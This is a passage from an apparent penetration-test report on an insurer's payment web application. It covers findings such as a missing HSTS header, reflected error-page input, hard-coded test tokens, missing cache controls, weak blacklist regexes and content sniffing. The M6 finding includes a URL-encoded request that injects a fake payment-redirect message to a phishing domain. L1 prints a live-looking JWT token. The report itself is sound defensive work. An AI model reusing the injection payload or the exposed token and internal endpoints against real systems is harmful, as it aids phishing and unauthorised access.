| During the assessment, the tester noted that the application does not implement the “Strict Transport Security” header as seen in the following request/response combination:  Request:   |  | | --- | | GET /gofundindv/ HTTP/1.1  Host: payment.sit2.va.anthem.com  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,\*/\*;q=0.8  Accept-Language: en-US,en;q=0.5  Accept-Encoding: gzip, deflate  Connection: close  Cookie: WT\_FPC=id=292fd415747a9dd0bba1554924371946:lv=1555355260782:ss=1555355176805; SMSESSION=LOGGEDOFF; ant=!BculkalitHwwDXke+NzyGHDgWPn1g8KAzFYRxpVU8oqZssLPDAt2SCzMcId37kFilTpqbgoKj4/Tmg==; SMLOCALE=en-US,en  Upgrade-Insecure-Requests: 1 |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Tue, 16 Apr 2019 14:16:36 GMT  Last-Modified: Wed, 13 Mar 2019 11:04:22 GMT  ETag: "164b6-3ed-583f7c497d980"  Accept-Ranges: bytes  Content-Length: 1005  Content-Type: text/html  Connection: close  **[SNIP]** | | |

|  |  |
| --- | --- |
| M6 – Weak Input Validation – Open | |
| CVSS Score and Link | [4.3](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N) |
| CWE | CWE-20: Improper Input Validation |
| Affected Systems | https://payment.sit2.va.anthem.com/ |
| Description | Reflection of input arises when data is copied from a request and echoed into the application's immediate response. The tester did not find this to be vulnerable to reflective XSS or page redirect. However, this could be potentially leveraged by an attacker in a social engineering attack where the attacker tricks the victim to go to a website under the attacker’s control. |
| Recommendations | The application should validate all input and do not return it back to the screen. |
| Retest Notes |  |
| The tester was able to craft a malicious request to force a server error message and echo request parameters in the application’s immediate response body. The application does not properly handles errors and echoes the requested URL back to the screen as seen below:  Request:   |  | | --- | | GET %2f%53%75%62%6d%69%74%50%61%79%6d%65%6e%74%20%6e%6f%74%20%66%6f%75%6e%64%2e%20%4f%75%72%20%50%61%79%6d%65%6e%74%20%66%65%61%74%75%72%65%20%69%73%20%74%65%6d%70%6f%72%61%72%6c%79%20%6e%6f%74%20%61%76%61%69%6c%61%62%6c%65%2e%0a%0a%50%6c%65%61%73%65%20%67%6f%20%74%6f%20%74%68%69%73%20%6e%65%77%20%75%72%6c%20%28%68%74%74%70%73%3a%2f%2f%77%77%77%2e%62%61%64%77%65%62%73%69%74%65%2e%68%61%63%6b%29%20%74%6f%20%73%75%62%6d%69%74%20%79%6f%75%72%20%70%61%79%6d%65%6e%74%2e%0a%57%65%20%61%72%65%20%68%65%72%65%20%74%6f%20%68%65%6c%70%20%79%6f%75%21%20%4c%65%74%20%75%73%20%6b%6e%6f%77%20%69%66%20%79%6f%75%20%68%61%76%65%20%61%6e%79%20%71%75%65%73%74%69%6f%6e%73%20%6f%72%20%69%73%73%75%65%73%2e%0a%0a%0a%0a%0a%20%77%61%73%20%6e%6f%74%20%66%6f%75%6e%64%20%6f%6e%20%74%68%69%73%20%73%65%72%76%65%72%2e HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]** |   Response:   |  | | --- | | HTTP/1.1 404 Not Found  **[SNIP]**  </head><body>  <h1>Not Found</h1>  <p>The requested URL /SubmitPayment not found. Our Payment feature is temporarily not available.  Please go to this new url (https://www.badwebsite.hack) to submit your payment.  We are here to help you! Let us know if you have any questions or issues.  was not found on this server. was not found on this server.</p> | | |

# *Low-Risk Findings*

|  |  |
| --- | --- |
| L1 – Use of Hard-Coded Credentials – Open | |
| CVSS Score and Link | [3.7](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| CWE | CWE-798: Use of Hard-coded Credentials |
| Affected Systems | \src\client\app\accountsettings\deleteaccount\deleteaccount.component.spec.ts  \src\client\app\accountsettings\accountsettings.component.spec.ts  \src\client\app\landing\landing.component.ts  \src\client\app\myaccount\memberdetails\addmember\addmember.component.spec.ts  \src\client\app\myaccount\memberdetails\memberdetails.component.spec.ts  \src\client\app\myaccount\payments\payments.component.spec.ts  \src\client\app\shared\tpc-service\authentication.service.spec.ts  \src\client\app\shared\tpc-service\tpc-service.spec.ts |
| Description | The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data. |
| Recommendations | Phase (Architecture and Design) - For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including |
| Retest Notes |  |
| During the code review portion of the assessment, the tester discovered several hard-coded test accounts with authentication keys in the application. The following code snips show the hard-coded credentials:  **File accountsettings.component.spec.ts:**   |  | | --- | | let authenticationService = TestBed.get(AuthenticationService);  authenticationService.token = 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI0NTcyMDMiLCJpYXQiOjE0OTQ5OTM4ODJ9.HpEZLTnceCG7aooqVXhXBEmgsAKoJZZAG8KsSG5Y\_k8'; |   **File addmember.component.spec.ts:**   |  | | --- | | let authenticationService = TestBed.get(AuthenticationService);  authenticationService.token = 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiI0NTcyMDMiLCJpYXQiOjE0OTQ5OTM4ODJ9.HpEZLTnceCG7aooqVXhXBEmgsAKoJZZAG8KsSG5Y\_k8'; | | |

|  |  |
| --- | --- |
| L2 – Cache Controls Not Set – Open | |
| CVSS Score and Link | [2.4](https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:P/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| CWE | CWE-524: Information Exposure Through Caching |
| Affected Systems | https://payment.sit2.va.anthem.com/  https://payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/getUserIdDetails  https://payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/otp/attemptsRemaining  https://payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/otp/send  https://payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/otp/validate  https://payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/searchUser  https://payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/account/threatapi  https://payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/register/validateSecretAnswerForForgotPassword  https://payment.sit2.va.anthem.com/paymentgateway/tpcloginservices/v1/gbd/register/validateSecretAnswerForForgotUserName |
| Description | Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time. |
| Recommendations | Applications should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:   * Cache-control: no-store * Pragma: no-cache |
| Retest Notes |  |
| During the assessment, the tester noted that the application does not properly implement Cache-Control directives as seen in the following request/response combination:  Request:   |  | | --- | | POST /paymentgateway/tpcloginservices/v1/gbd/register/validateSecretAnswerForForgotPassword HTTP/1.1  Host: payment.sit2.va.anthem.com  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0  Accept: application/json, text/plain, \*/\*  Accept-Language: en-US,en;q=0.5  Accept-Encoding: gzip, deflate  Referer: https://payment.sit2.va.anthem.com/gofundindv/forgotpasswordsecurityques  Content-Type: application/json  Content-Length: 272  Connection: close  Cookie: **[SNIP]** |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Tue, 23 Apr 2019 17:49:30 GMT  X-Powered-By: Servlet/3.0  Access-Control-Allow-Origin: \*  Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE  Access-Control-Allow-Headers: Origin, X-Requested-With, x-forwarded-for, Content-Type, Content-Length, Accept-Encoding, Accept, Authorization, UserName, meta-senderapp, meta-orgType, SM\_GROUP, ipaddress, module, senderapp, usernm, webguid, meta-transid, meta-endpoint, csrId, csrRole, lob  Content-Type: application/json;charset=UTF-8  Content-Language: en-US  Connection: close  Content-Length: 47  {"validated":true,"secretAnswerAttemptsLeft":6} | | |

# *Informational Findings*

|  |  |
| --- | --- |
| I1 – Improper Input Validation – Open | |
| CVSS Score and Link | 0.0 |
| CWE | CWE-20: Improper Input Validation |
| Affected Systems | \src\client\app\shared\directives\orgNameValidatorDir.ts  \src\client\app\shared\directives\securityQuesValidatorDir.ts  \src\client\app\shared\directives\userNameValidatorDir.ts |
| Description | The product does not validate or incorrectly validates input that can affect the control flow or data flow of a program. |
| Recommendations | Phase (Architecture and Design) - Strategy (Input Validation, Libraries or Frameworks) - Use an input validation framework such as Struts or the OWASP ESAPI Validation API. If you use Struts, be mindful of weaknesses covered by the CWE-101 category. |
| Retest Notes |  |
| During testing it was discovered that the application is using an incomplete blacklist for input validation. The tester noted that the following blacklists do not cover all possible special characters:  **File “orgNameValidatorDir.ts”:**  The following regex string does not account for: ‘=’, ‘.’, ‘-‘ or ‘{}’.   |  | | --- | | private validateNoSpecialChar(c: FormControl): any {  return /[~#$%&@%^\_:\*()+[\]\\\/";'?><,|]+/g.test(c.value) ? true : false;} |   As seen in the following regex validator, the tester was able to use potentially malicious characters:    **File “securityQuesValidatorDir.ts”:**  The following regex string does not account for: ‘=’, ‘.’, ‘-‘, or ‘{}’.   |  | | --- | | private validateNoSpecialChar(c: FormControl): any {  return /[$@%&()+;:><,|]+/g.test(c.value) ? true : false;} |   As seen in the following regex validator, the tester was able to use potentially malicious characters:    **File “userNameValidatorDir.ts”:**  The following regex string does not account for: ‘=’, ‘.’, ‘-‘ or ‘{}’.   |  | | --- | | private validateNoSpecialChar(c: FormControl): any {  return /[~#$%&\*()+[\]\\";'?><,|]+/g.test(c.value) ? true : false;} |   As seen in the following regex validator, the tester was able to use potentially malicious characters: | |

|  |  |
| --- | --- |
| I2 – Improper Comparison Operator – Open | |
| CVSS Score and Link | 0.0 |
| CWE | CWE-597: Use of Wrong Operator in String Comparison |
| Affected Systems | \src\client\app\myaccount\paymentmethod\addpaymentmethod\addpaymentmethod.component.ts  \src\client\app\myaccount\paymentmethod\editpaymentmethod\editpaymentmethod.component.ts  \src\client\app\myaccount\payments\autopayment\autopayment.component.ts  \src\client\app\myaccount\payments\makepayment\confirmpayment\confirmpayment.component.ts  \src\client\app\myaccount\payments\pendingpayment\pendingpayment.component.ts  \src\client\app\myaccount\payments\payments.component.ts |
| Description | The product uses the wrong operator when comparing a string, such as using "==" when the equals() method should be used instead. |
| Recommendations | Phase (Implementation) - Use equals() to compare strings. |
| Retest Notes |  |
| During the code review portion of the assessment, the tester discovered that the application is using improper string comparisons in the payment system as seen in the following request/response combination:  **File “addpaymentmethod.component.ts”:**   |  | | --- | | if(paymentMethod.bankAccountType == 'Savings' && paymentMethod.isBusiness){  this.businessAccountTypeVal = 'BUSINESS\_SAVINGS';  }  if(paymentMethod.bankAccountType == 'Savings' && !paymentMethod.isBusiness){  this.businessAccountTypeVal = 'PERSONAL\_SAVINGS';  }  if(paymentMethod.bankAccountType == 'Checking' && paymentMethod.isBusiness){  this.businessAccountTypeVal = 'BUSINESS\_CHECKING';  }  if(paymentMethod.bankAccountType == 'Checking' && !paymentMethod.isBusiness){  this.businessAccountTypeVal = 'PERSONAL\_CHECKING'; |   **File “payments.component.ts”:**   |  | | --- | | if(plan.subGroupName == 'Summary Bill'){  labelVal = labelVal + ' # ' + plan.groupId;  ariaLabelledBy = plan.groupId;  } | | |

|  |  |
| --- | --- |
| I3 – Content Sniffing Not dDsabled – Open | |
| CVSS Score and Link | 0.0 |
| CWE | CWE-16: Configuration |
| Affected Systems | Systemic |
| Description | There was no "X-Content-Type-Options" HTTP header with the value nosniff set in the response. The lack of this header causes that certain browsers, try to determine the content type and encoding of the response even when these properties are defined correctly. This can make the web application vulnerable against Cross-Site Scripting (XSS) attacks. E.g. the Internet Explorer and Safari treat responses with the content type text/plain as HTML, if they contain HTML tags. |
| Recommendations | Set the following HTTP header at least in all responses which contain user input: X-Content-Type-Options: nosniff |
| Retest Notes |  |
| During the assessment, the tester noted that the application does not properly implement Content Sniffing directives as seen in the following request/response combination:  Request:   |  | | --- | | GET /gofundindv/forgotpasswordsecurityques HTTP/1.1  Host: payment.sit2.va.anthem.com  **[SNIP]** |   Response:   |  | | --- | | HTTP/1.1 200 OK  Date: Tue, 23 Apr 2019 14:58:05 GMT  Last-Modified: Wed, 13 Mar 2019 11:04:22 GMT  ETag: "164b6-3ed-583f7c497d980"  Accept-Ranges: bytes  Content-Length: 1005  Content-Type: text/html  Connection: close | | |

**Global Disclaimer**

This is a point-in-time assessment of the architecture asserted by the project team and vendor in documentation provided. As utilization patterns change within Anthem the risk, probability, and amplitude will change.